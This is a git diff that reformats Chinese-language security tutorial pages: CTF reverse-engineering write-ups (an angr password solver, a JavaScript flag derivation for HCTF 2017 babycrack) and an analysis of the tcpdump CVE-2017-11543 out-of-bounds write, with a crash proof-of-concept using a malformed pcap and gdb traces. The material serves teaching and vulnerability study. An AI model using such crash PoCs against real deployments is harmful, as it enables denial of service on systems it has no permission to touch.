b/doc/6.2.7_re_codegatectf2018_redvelvet.md index 0857a0e..b2154d3 100644 --- a/doc/6.2.7_re_codegatectf2018_redvelvet.md +++ b/doc/6.2.7_re_codegatectf2018_redvelvet.md @@ -3,15 +3,15 @@ - [题目解析](#题目解析) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.2.7_re_codegatectf2018_redvelvet) ## 题目解析 -``` -$ file RedVelvet + +```text +$ file RedVelvet RedVelvet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=84e7ef91c33878cf9eefc00a7a450895aa573494, not stripped ``` - ## 参考资料 -- https://ctftime.org/task/5231 + +- diff --git a/doc/6.2.8_re_defcampctf2015_entry_language.md b/doc/6.2.8_re_defcampctf2015_entry_language.md index 6c40ed7..3d13a45 100644 --- a/doc/6.2.8_re_defcampctf2015_entry_language.md +++ b/doc/6.2.8_re_defcampctf2015_entry_language.md @@ -3,23 +3,26 @@ - [题目解析](#题目解析) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.2.8_re_defcampctf2015_entry_language) ## 题目解析 + 这是一题标准的密码验证题,输入一个字符串,程序验证对误。 -``` + +```text $ file entry_language defcamp_r100: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=0f464824cc8ee321ef9a80a799c70b1b6aec8168, stripped ``` -``` + +```text $ ./entry_language Enter the password: ABCD Incorrect password! ``` 为了与 angr 的自动化做对比,我们先使用传统的方法,逆向算法求解,`main` 函数和验证函数 `fcn.004006fd` 如下: -``` + +```text [0x00400610]> pdf @ main / (fcn) main 153 | main (); @@ -138,6 +141,7 @@ Incorrect password! ``` 整理后可以得到下面的伪代码: + ```C int fcn_004006fd(int *passwd) { char *str_1 = "Dufhbmf"; @@ -151,7 +155,9 @@ int fcn_004006fd(int *passwd) { return 0; } ``` + 然后写出逆向脚本: + ```python str_list = ["Dufhbmf", "pG`imos", "ewUglpt"] passwd = [] @@ -163,6 +169,7 @@ print ''.join(passwd) 逆向算法似乎也很简单,但如果连算法都不用逆的话,下面就是见证 angr 魔力的时刻,我们只需要指定让程序运行到 `0x400844`,即验证通过时的位置,而不用管验证的逻辑是怎么样的。 完整的脚本如下: + ```python import angr @@ -177,14 +184,15 @@ project.execute() ``` Bingo!!! -``` -$ python2 solve_angr.py + +```text +$ python2 solve_angr.py FLAG SHOULD BE: Code_Talkers -$ ./entry_language +$ ./entry_language Enter the password: Code_Talkers Nice! ``` - ## 参考资料 -- https://ctftime.org/task/1691 + +- diff --git a/doc/6.3.1_web_hctf2017_babycrack.md b/doc/6.3.1_web_hctf2017_babycrack.md index d3af73b..bd054a8 100644 --- a/doc/6.3.1_web_hctf2017_babycrack.md +++ b/doc/6.3.1_web_hctf2017_babycrack.md @@ -3,46 +3,50 @@ - [题目解析](#题目解析) - [解题流程](#解题流程) - [下载文件](../src/writeup/6.3.1_web_hctf2017_babycrack) ## 题目解析 + 题目就不用多说了,很容易发现是 JavaScript 代码审计。 整个文件的变量名/函数名可以看作是混淆了的,分析一下整个文件的结构: -``` - —— - |- _0x180a,关键字的替换数组 - |- 匿名函数,对数组元素进行重排 - |- _0xa180,取出对应索引的数组元素 - |- check,主要的分析函数 - |- test,主要的运行函数 + +```text +—— +|- _0x180a,关键字的替换数组 +|- 匿名函数,对数组元素进行重排 +|- _0xa180,取出对应索引的数组元素 +|- check,主要的分析函数 +|- test,主要的运行函数 ``` 这道题结合浏览器进行动态调试,可以节省很多脑力。 首先是重排,这里不需要去深究到底逻辑原理,让引擎代替你去把数组重排好即可。结合程序员计算器和 CyberChef 分析更加方便。 - ## 解题流程 + 这样我们可以直接进入 check 函数进行分析。 -``` - —— - |- _0x2e2f8d,又一次进行数组混淆,得到一个新数组 - |- _0x50559f,获取 flag 的前四位,即 ‘hctf’ - |- _0x5cea12,由 ‘hctf’ 生成一个基数 - |- 这里有一个 debug 的事件,个人认为是阻止使用 F12 调试用的,所以可以直接删去 - |- 匿名函数,对 _0x2e2f8d 这个数组再进行排列 - |- _0x43c8d1,根据输入获取数组中相应值的函数 - |- _0x1c3854,将输入的 ascii 码转化为 16 进制,再加上 ‘0x’ + +```text +—— +|- _0x2e2f8d,又一次进行数组混淆,得到一个新数组 +|- _0x50559f,获取 flag 的前四位,即 ‘hctf’ +|- _0x5cea12,由 ‘hctf’ 生成一个基数 +|- 这里有一个 debug 的事件,个人认为是阻止使用 F12 调试用的,所以可以直接删去 +|- 匿名函数,对 _0x2e2f8d 这个数组再进行排列 +|- _0x43c8d1,根据输入获取数组中相应值的函数 +|- _0x1c3854,将输入的 ascii 码转化为 16 进制,再加上 ‘0x’ ``` 以上部分可以看成是准备部分,这一部分的难点在于多次处理了数组,在动态调试时,很多函数如果多次执行就会产生与原答案不同的数组结构,因此,每次执行都需要重新初始化。 + +```text +—— +|- _0x76e1e8,以下划线分割输入,从后面分析可以得知 flag 一共有 5 段 +|- _0x34f55b,这一段给出了第一个逆向的条件,结合下一句 if 条件。 ``` - —— - |- _0x76e1e8,以下划线分割输入,从后面分析可以得知 flag 一共有 5 段 - |- _0x34f55b,这一段给出了第一个逆向的条件,结合下一句 if 条件。 -``` + 单独来分析,其实最初我看掉了一个括号,结果弄混了符号优先级,导致觉得这个条件没有意义。 这个条件是说,**第一段的最后两个字符的 16 进制和 ‘{’ 的 16 进制异或后,对第一段的长度求余应该等于 5 **。 @@ -50,98 +54,111 @@ 这里可以先进行如下猜测 第一段,已经有 ‘hctf{’ 了,这里正好去最后两位,先猜测第一段一共只有 7 位,这个猜测是后验的,先不细说。 -``` - —— - |- b2c + +```text +—— +|- b2c ``` 理解这个函数极为重要,通过随机输入进行测试,输出结果有些眼熟,像是 base64 但不对,比对后确定是 base32 编码,知道这个就不用再去多解读它了。同时,这里也有一个 debug 需要删除 -``` - —— - |- e,第二个逆向条件 + +```text +—— +|- e,第二个逆向条件 ``` 这一句是说,**第三段做 base32 编码,取等号前的部分,再进行 16 进制和 0x53a3f32 异或等于 0x4b7c0a73 ** -``` - 计算 0x4b7c0a73^0x53a3f32=0x‭4E463541‬ - ‭4E463541 => NF5A 16 进制转字符 - NF5A => iz base32 解码 + +```text +计算 0x4b7c0a73^0x53a3f32=0x‭4E463541‬ +‭4E463541 => NF5A 16 进制转字符 +NF5A => iz base32 解码 ``` 因此,flag 暂时如下 hctf{x\_x\_iz\_x\_x} -``` - —— - |- f,第三个逆向条件 + +```text +—— +|- f,第三个逆向条件 ``` 这一句是说,第四段和第三段一样编码后,和 0x4b7c0a73 异或等于 0x4315332 -``` - 计算 0x4315332^0x4b7c0a73=0x‭4F4D5941 - 4F4D5941 => OMYA - OMYA => s0 + +```text +计算 0x4315332^0x4b7c0a73=0x‭4F4D5941 +4F4D5941 => OMYA +OMYA => s0 ``` flag hctf{x\_x\_iz\_s0\_x} -``` - —— - |- n,f*e*第一段的长度(先不管) - |- h,将输入字符串的每一个字符 ascii 码进行计算(*第二段长度) - 后连接起来显示(字符到 ascii 码转换) - |- j,将第二段以 ‘3’ 分割,又后面可以确定是分成了两部分 - |- 第四个逆向条件 + +```text +—— +|- n,f*e*第一段的长度(先不管) +|- h,将输入字符串的每一个字符 ascii 码进行计算(*第二段长度) + 后连接起来显示(字符到 ascii 码转换) +|- j,将第二段以 ‘3’ 分割,又后面可以确定是分成了两部分 +|- 第四个逆向条件 ``` 首先是,**分割的两部份长度相等,第一部分和第二部分 16 进制异或等于 0x1613 **,这个条件只能后验,也先不管。 -``` - —— - |- k,输入的 ascii 码*第二段的长度 - |- l,第一部分逐字符 ascii 码*第二段长度等于 0x2f9b5072 + +```text +—— +|- k,输入的 ascii 码*第二段的长度 +|- l,第一部分逐字符 ascii 码*第二段长度等于 0x2f9b5072 ``` 首先,0x2f9b5072 == 798707826‬ -``` - 798 707 826 - 正好分成三个,已知h是对应 ascii 码*常数, - 所以假设第一部分有三个字符,那么就是变成了求解常数 - 也就是 798 707 826 的最大公约数 - 求解得常数为 7 - 字符 114 101 118 => rev + +```text +798 707 826 +正好分成三个,已知h是对应 ascii 码*常数, +所以假设第一部分有三个字符,那么就是变成了求解常数 +也就是 798 707 826 的最大公约数 +求解得常数为 7 +字符 114 101 118 => rev ``` 所以,第二段一共有 7 个字符,前四个字符为 rev3,带入上面的后验条件 0x1613 -``` - 0x726576^0x1613=0x‭727365 - 727365 => rse + +```text +0x726576^0x1613=0x‭727365 +727365 => rse ``` flag hctf{?\_rev3rse\_iz\_s0\_?} -``` - —— - |- m,第五个逆向条件,第五段的前四位和第一段的长度有关 + +```text +—— +|- m,第五个逆向条件,第五段的前四位和第一段的长度有关 ``` 题目的 hint 提示,每一段都有意义,因此我们这里做个爆破,假设第一段的长度在 6-30 之间,我们可以算出 n,在用 n 去算第五段前四位。 -``` - n = f*e*(6-30) - 第五段前四位 = n % 0x2f9b5072 + 0x48a05362 + +```text +n = f*e*(6-30) +第五段前四位 = n % 0x2f9b5072 + 0x48a05362 ``` 代码: -``` - import binascii - for i in range(6,31): - n = 0x4315332*0x4b7c0a73*i - strings = n%0x2f9b5072 + 0x48a05362 - print binascii.a2b_hex(str(hex(strings))[2:-1]) + +```python +import binascii +for i in range(6,31): + n = 0x4315332*0x4b7c0a73*i + strings = n%0x2f9b5072 + 0x48a05362 + print binascii.a2b_hex(str(hex(strings))[2:-1]) ``` 从结果中可以看到大多数字符都没有意义,除了 h4r 让人遐想联翩,可惜还是不全,但是结合已经分析出的 flag,猜测应该是 h4rd。 flag hctf{??\_rev3rse\_iz\_s0\_h4rd?} -``` - —— - |- _0x5a6d56,将输入重复指定次数组合 - |- 第六个逆向条件和第七个逆向条件 + +```text +—— +|- _0x5a6d56,将输入重复指定次数组合 +|- 第六个逆向条件和第七个逆向条件 ``` 1. 第五段的第六位重复两次不等于倒数第 5-8 位,这个条件也让人摸不着头脑。 @@ -151,59 +168,67 @@ flag hctf{??\_rev3rse\_iz\_s0\_h4rd?} 5. 结合 hint 由以上条件可以推出以下 flag -``` - hctf{??_rev3ser_iz_s0_h4rd2?3??3333} + +```text +hctf{??_rev3ser_iz_s0_h4rd2?3??3333} ``` 先假设 2 和 3 之间没有数字了,这时 7-8 位还未知但是 7-8 位相同,这时的方程 -``` - 而且在这里,由于直接把 0x 去掉,所以 x 的 16 进制一定全为数字 - 字符拼接 {hex(x)hex(x)} = ascii(x)*13*5 + +```text + 而且在这里,由于直接把 0x 去掉,所以 x 的 16 进制一定全为数字 + 字符拼接 {hex(x)hex(x)} = ascii(x)*13*5 ``` 爆破代码: -```python - import binascii - for i in range(1,128): - string1 = hex(i)[2:] - try: - if int(string1+string1) == i*13*5: - print chr(i) - except: - continue +```python +import binascii + +for i in range(1,128): + string1 = hex(i)[2:] + try: + if int(string1+string1) == i*13*5: + print chr(i) + except: + continue ``` + output: -``` - e + +```text +e ``` 验证前面的后验条件可以确定如下 flag -``` - hctf{??_rev3ser_iz_s0_h4rd23ee3333} + +```text +hctf{??_rev3ser_iz_s0_h4rd23ee3333} ``` 只剩下最前面的两位,为了方便,利用题目提供的 sha256 结果,我就不回溯条件在判断,直接进行碰撞。 + ```python - import hashlib +import hashlib - a = 'hctf{' - b = '_rev3rse_iz_s0_h4rd23ee3333}' +a = 'hctf{' +b = '_rev3rse_iz_s0_h4rd23ee3333}' - e1 = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k', - 'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] - e2 = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k', - 'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] +e1 = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k', +'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] +e2 = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k', +'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] - for i in e1: - for j in e2: - sh = hashlib.sha256() - sh.update(a+i+j+b) - if sh.hexdigest() == "d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443": - print a+i+j+b +for i in e1: + for j in e2: + sh = hashlib.sha256() + sh.update(a+i+j+b) + if sh.hexdigest() == "d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443": + print a+i+j+b ``` output: -``` - hctf{j5_rev3rse_iz_s0_h4rd23ee3333} + +```text +hctf{j5_rev3rse_iz_s0_h4rd23ee3333} ``` diff --git a/doc/7.1.1_tcpdump_2017-11543.md b/doc/7.1.1_tcpdump_2017-11543.md index 32ed7ce..23f3a31 100644 --- a/doc/7.1.1_tcpdump_2017-11543.md +++ b/doc/7.1.1_tcpdump_2017-11543.md @@ -5,16 +5,16 @@ - [漏洞分析](#漏洞分析) - [参考资料](#参考资料) - [下载文件](../src/exploit/7.1.1_tcpdump_2017-11543) ## 漏洞描述 + tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 `sliplink_print` 函数(位于 `print-sl.c`)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。 这个漏洞是发现者用 AFL 做 fuzz 时发现的。 - ## 漏洞复现 + | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:32 位| @@ -22,9 +22,10 @@ tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 | 漏洞软件 | tcpdump | 版本号:4.9.0 | 为了编译 tcpdump,我们需要安装 dev 版本的 libpcap: -``` + +```text $ sudo apt-get install libpcap-dev -$ dpkg -l libpcap-dev +$ dpkg -l libpcap-dev Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) @@ -32,19 +33,25 @@ Desired=Unknown/Install/Remove/Purge/Hold +++-===================-==============-==============-============================================ ii libpcap-dev 1.7.4-2 all development library for libpcap (transitiona ``` + 下载安装有漏洞的 tcpdump 4.9.0: -``` + +```text $ wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz $ tar zxvf tcpdump-4.9.0.tar.gz $ cd tcpdump-tcpdump-4.9.0/ $ ./configure ``` + 执行 `configure` 会生成相应的 Makefile,然后 `make install` 就可以了,但是这里我们修改下 Makefile,给 gcc 加上参数 `-fsanitize=address`,以开启内存检测功能: -``` + +```text CFLAGS = -g -O2 -fsanitize=address ``` + 最后: -``` + +```text $ sudo make install $ tcpdump --version tcpdump version 4.9.0 @@ -52,6 +59,7 @@ libpcap version 1.7.4 ``` 使用下面的 poc 即可成功地触发漏洞产生 Segment Fault: + ```python import os @@ -72,8 +80,9 @@ def sigsegv(): if __name__ == "__main__": sigsegv() ``` -``` -$ python poc.py + +```text +$ python poc.py reading from file slip-bad-direction.pcap, link-type SLIP (SLIP) ASAN:SIGSEGV ================================================================= @@ -93,14 +102,16 @@ AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV print-sl.c:253 compressed_sl_print ==11084==ABORTING ``` -``` -$ file slip-bad-direction.pcap + +```text +$ file slip-bad-direction.pcap slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144) ``` - ## 漏洞分析 + 首先介绍一下 pcap 包的文件格式,文件头是这样一个结构体,总共 24 个字节: + ```C struct pcap_file_header { bpf_u_int32 magic; @@ -112,6 +123,7 @@ struct pcap_file_header { bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */ }; ``` + - `magic`:标识位:4 字节,这个标识位的值是 16 进制的 0xa1b2c3d4 - `major`:主版本号:2 字节,默认值为 0x2 - `minor`:副版本号:2 字节,默认值为 0x04 @@ -121,6 +133,7 @@ struct pcap_file_header { - `linktype`:链路层类型:4 字节,数据包的链路层包头决定了链路层的类型 接下来是数据包头,总共 16 个字节: + ```C struct pcap_pkthdr { struct timeval ts; /* time stamp */ @@ -132,21 +145,25 @@ struct timeval { suseconds_t tv_usec; /* and microseconds */ }; ``` + - `ts`:时间戳:8 字节,4字节表示秒数,4字节表示微秒数 - `caplen`:当前数据区长度:4 字节,表示所抓获的数据包保存在 pcap 文件中的实际长度 - `len`:离线数据长度:4 字节,如果文件中保存的不是完整数据包,可能比 caplen 大 我们从 tcpdump 的测试集中找到这样一个测试用例,整个包是这样的: -``` -$ xxd -g1 slip-bad-direction.pcap + +```text +$ xxd -g1 slip-bad-direction.pcap 00000000: d4 c3 b2 a1 02 00 04 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 04 00 08 00 00 00 f6 b5 a5 58 f8 bd 07 00 ...........X.... 00000020: 27 00 00 00 36 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 '...6........... 00000030: e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 ca 00 ................ 00000040: 00 52 54 00 12 35 02 08 00 27 bd c8 2e 08 00 .RT..5...'..... ``` + 所以其链路层类型为 `08`,即 SLIP(Serial Line Internet Protocol)。通常一个 SLIP 的包结构如下: -``` + +```text +-------------------------+ | Direction | | (1 Octet) | @@ -162,12 +179,14 @@ $ xxd -g1 slip-bad-direction.pcap . . . . ``` + - direction 字段指示发送或接收 - `0`:表示本机接收的包 - `1`:表示本机发送的包 在这里 direction 是 `0xe7`,并且由于 packet type 被设置了,所以 payload 是一个压缩的 TCP/IP 包,它的 packet type 和 compression information 共同构成了压缩的 TCP/IP 数据报,其结构如下: -``` + +```text +-------------------------------+ Byte | | C | I | P | S | A | W | U | 0 +-------------------------------+ @@ -182,28 +201,29 @@ $ xxd -g1 slip-bad-direction.pcap ``` 在 `sliplink_print` 函数处下断点: -``` + +```text gdb-peda$ b sliplink_print -gdb-peda$ r -e -r slip-bad-direction.pcap +gdb-peda$ r -e -r slip-bad-direction.pcap Starting program: /usr/local/sbin/tcpdump.4.9.0 -e -r slip-bad-direction.pcap [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". reading from file slip-bad-direction.pcap, link-type SLIP (SLIP) [----------------------------------registers-----------------------------------] -EAX: 0x1 -EBX: 0xe7e7e736 -ECX: 0x0 -EDX: 0xbfffdb94 --> 0x1 -ESI: 0xb65ba810 --> 0xe7e7e7e7 -EDI: 0xbfffdb90 --> 0x0 +EAX: 0x1 +EBX: 0xe7e7e736 +ECX: 0x0 +EDX: 0xbfffdb94 --> 0x1 +ESI: 0xb65ba810 --> 0xe7e7e7e7 +EDI: 0xbfffdb90 --> 0x0 EBP: 0x27 ("'") -ESP: 0xbfffd760 --> 0xe7e7e726 +ESP: 0xbfffd760 --> 0xe7e7e726 EIP: 0x815efc0 (: mov eax,DWORD PTR [esp+0x48]) EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x815efbc : pop ebp - 0x815efbd : ret + 0x815efbd : ret 0x815efbe : xchg ax,ax => 0x815efc0 : mov eax,DWORD PTR [esp+0x48] 0x815efc4 : mov edx,DWORD PTR [esp+0x48] @@ -211,18 +231,18 @@ EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) 0x815efcb : and edx,0x7 0x815efce : movzx eax,BYTE PTR [eax+0x20000000] [------------------------------------stack-------------------------------------] -0000| 0xbfffd760 --> 0xe7e7e726 -0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7 +0000| 0xbfffd760 --> 0xe7e7e726 +0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7 0008| 0xbfffd768 --> 0x27 ("'") -0012| 0xbfffd76c --> 0xfbad2488 -0016| 0xbfffd770 --> 0xb5803e68 --> 0x10 +0012| 0xbfffd76c --> 0xfbad2488 +0016| 0xbfffd770 --> 0xb5803e68 --> 0x10 0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>: pop edx) 0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>: add ebx,0xbc0b5) -0028| 0xbfffd77c --> 0x80e6a200 +0028| 0xbfffd77c --> 0x80e6a200 [------------------------------------------------------------------------------] Legend: code, data, rodata, value -Breakpoint 1, sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c, +Breakpoint 1, sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c, p=0xb65ba800 '\347' , ) at ./print-sl.c:77 77 sliplink_print(ndo, p, ip, length); gdb-peda$ x/10x 0xb65ba800 @@ -230,19 +250,21 @@ gdb-peda$ x/10x 0xb65ba800 0xb65ba810: 0xe7e7e7e7 0x00cae7e7 0x00545200 0x08023512 0xb65ba820: 0xc8bd2700 0xbe00082e ``` + 参数 `p=0xb65ba800` 位置处存放着从 pcap 中解析出来的 data,总共 39 个字节。 然后语句 `dir = p[SLX_DIR]` 从 data 中取出第一个字节作为 dir,即 `0xe7`: -``` + +```text [----------------------------------registers-----------------------------------] -EAX: 0xe7 -EBX: 0xe7e7e736 -ECX: 0x0 -EDX: 0x0 -ESI: 0xb65ba810 --> 0xe7e7e7e7 -EDI: 0xbfffdb90 --> 0x0 +EAX: 0xe7 +EBX: 0xe7e7e736 +ECX: 0x0 +EDX: 0x0 +ESI: 0xb65ba810 --> 0xe7e7e7e7 +EDI: 0xbfffdb90 --> 0x0 EBP: 0x27 ("'") -ESP: 0xbfffd760 --> 0xe7e7e726 +ESP: 0xbfffd760 --> 0xe7e7e726 EIP: 0x815efe8 (: mov DWORD PTR [esp+0x4],eax) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -255,30 +277,31 @@ EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) 0x815eff1 : mov DWORD PTR [esp+0x8],eax 0x815eff5 : shr eax,0x3 [------------------------------------stack-------------------------------------] -0000| 0xbfffd760 --> 0xe7e7e726 -0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7 +0000| 0xbfffd760 --> 0xe7e7e726 +0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7 0008| 0xbfffd768 --> 0x27 ("'") -0012| 0xbfffd76c --> 0xfbad2488 -0016| 0xbfffd770 --> 0xb5803e68 --> 0x10 +0012| 0xbfffd76c --> 0xfbad2488 +0016| 0xbfffd770 --> 0xb5803e68 --> 0x10 0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>: pop edx) 0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>: add ebx,0xbc0b5) -0028| 0xbfffd77c --> 0x80e6a200 +0028| 0xbfffd77c --> 0x80e6a200 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0815efe8 133 dir = p[SLX_DIR]; ``` 然后程序将 `dir==0xe7` 与 `SLIPDIR_IN==0` 作比较,肯定不相等,于是错误地把 dir 当成 `SLIPDIR_OUT==1` 处理了: -``` + +```text [----------------------------------registers-----------------------------------] EAX: 0x8237280 --> 0x204f ('O ') -EBX: 0xe7e7e736 -ECX: 0xe7 +EBX: 0xe7e7e736 +ECX: 0xe7 EDX: 0x8237280 --> 0x204f ('O ') -ESI: 0xb65ba810 --> 0xe7e7e7e7 -EDI: 0xbfffdb90 --> 0x0 +ESI: 0xb65ba810 --> 0xe7e7e7e7 +EDI: 0xbfffdb90 --> 0x0 EBP: 0x27 ("'") -ESP: 0xbfffd750 --> 0xbfffdb90 --> 0x0 +ESP: 0xbfffd750 --> 0xbfffdb90 --> 0x0 EIP: 0x815f02b (: call DWORD PTR [edi+0x74]) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -291,34 +314,35 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) 0x815f034 : mov eax,edx 0x815f036 : shr eax,0x3 Guessed arguments: -arg[0]: 0xbfffdb90 --> 0x0 +arg[0]: 0xbfffdb90 --> 0x0 arg[1]: 0x8237280 --> 0x204f ('O ') [------------------------------------stack-------------------------------------] -0000| 0xbfffd750 --> 0xbfffdb90 --> 0x0 +0000| 0xbfffd750 --> 0xbfffdb90 --> 0x0 0004| 0xbfffd754 --> 0x8237280 --> 0x204f ('O ') -0008| 0xbfffd758 --> 0x0 -0012| 0xbfffd75c --> 0x0 -0016| 0xbfffd760 --> 0xe7e7e726 -0020| 0xbfffd764 --> 0xe7 +0008| 0xbfffd758 --> 0x0 +0012| 0xbfffd75c --> 0x0 +0016| 0xbfffd760 --> 0xe7e7e726 +0020| 0xbfffd764 --> 0xe7 0024| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (: mov eax,0x8330fa4) -0028| 0xbfffd76c --> 0xfbad2488 +0028| 0xbfffd76c --> 0xfbad2488 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0815f02b 134 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O ")); ``` 继续往下执行,终于在执行到语句 `lastlen[dir][lastconn] = length - (hlen << 2);` 的时候挂掉了,它访问了一个不合法的地址: -``` + +```text Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] -EAX: 0xe7e7 -EBX: 0xe7e7e6de +EAX: 0xe7e7 +EBX: 0xe7e7e6de ECX: 0xbfffdc04 --> 0x8060b00 (: mov eax,0x8330fa4) -EDX: 0xe7 -ESI: 0xb65ba810 --> 0xe7e7e7e7 -EDI: 0xbfffdb90 --> 0x0 +EDX: 0xe7 +ESI: 0xb65ba810 --> 0xe7e7e7e7 +EDI: 0xbfffdb90 --> 0x0 EBP: 0x27 ("'") -ESP: 0xbfffd760 --> 0xe7e7e726 +ESP: 0xbfffd760 --> 0xe7e7e726 EIP: 0x815f697 (: mov DWORD PTR [eax*4+0x83ebcc0],ebx) EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) @@ -332,25 +356,27 @@ EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow 0x815f6a3 : movzx edx,BYTE PTR [eax+0x20000000] 0x815f6aa : mov eax,ecx [------------------------------------stack-------------------------------------] -0000| 0xbfffd760 --> 0xe7e7e726 -0004| 0xbfffd764 --> 0xe7 +0000| 0xbfffd760 --> 0xe7e7e726 +0004| 0xbfffd764 --> 0xe7 0008| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (: mov eax,0x8330fa4) -0012| 0xbfffd76c --> 0xb65ba801 --> 0xe7e7e7e7 -0016| 0xbfffd770 --> 0xb65ba809 --> 0xe7e7e7e7 -0020| 0xbfffd774 --> 0xe7e7e6de +0012| 0xbfffd76c --> 0xb65ba801 --> 0xe7e7e7e7 +0016| 0xbfffd770 --> 0xb65ba809 --> 0xe7e7e7e7 +0020| 0xbfffd774 --> 0xe7e7e6de 0024| 0xbfffd778 --> 0xb795af00 (<__realpath_chk>: push ebx) -0028| 0xbfffd77c --> 0x80e6a200 +0028| 0xbfffd77c --> 0x80e6a200 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV -0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810, +0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810, chdr=0xb65ba801 '\347' , , ndo=0xbfffdb90) at ./print-sl.c:253 253 lastlen[dir][lastconn] = length - (hlen << 2); gdb-peda$ x/x $eax*4+0x83ebcc0 0x8425c5c: Cannot access memory at address 0x8425c5c ``` + 说一下 `compressed_sl_print` 的参数: + - `dir=0xe7` 是 direction - `length=0xe7e7e726` 是长度,由包头的 `len` 计算得到 - `ip=0xb65ba810` 指向 data @@ -358,6 +384,7 @@ gdb-peda$ x/x $eax*4+0x83ebcc0 - `ndo=0xbfffdb90` 是其他一些选项 在 `lastlen[dir][lastconn] = length - (hlen << 2);` 语句中: + - `lastlen`:被定义为 `static u_int lastlen[2][256];` - `hlen` 是未压缩的 TCP/IP 头的长度 - `length - hlen` 是 data 的总数 @@ -365,31 +392,34 @@ gdb-peda$ x/x $eax*4+0x83ebcc0 于是这里传入的 `dir==0xe7`,超出了 `lastlen` 定义的范围,发生错误。 回溯一下栈调用情况: -``` + +```text gdb-peda$ bt -#0 0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810, +#0 0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810, chdr=0xb65ba801 '\347' , , ndo=0xbfffdb90) at ./print-sl.c:253 -#1 sliplink_print (length=0xe7e7e726, ip=0xb65ba810, +#1 sliplink_print (length=0xe7e7e726, ip=0xb65ba810, p=0xb65ba800 '\347' , , ndo=0xbfffdb90) at ./print-sl.c:166 -#2 sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c, +#2 sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c, p=0xb65ba800 '\347' , ) at ./print-sl.c:77 -#3 0x08060ed0 in pretty_print_packet (ndo=0xbfffdb90, h=0xbfffd82c, +#3 0x08060ed0 in pretty_print_packet (ndo=0xbfffdb90, h=0xbfffd82c, sp=0xb65ba800 '\347' , , packets_captured=0x1) at ./print.c:339 -#4 0x08055329 in print_packet (user=0xbfffdb90 "", h=0xbfffd82c, +#4 0x08055329 in print_packet (user=0xbfffdb90 "", h=0xbfffd82c, sp=0xb65ba800 '\347' , ) at ./tcpdump.c:2501 #5 0xb7a37468 in ?? () from 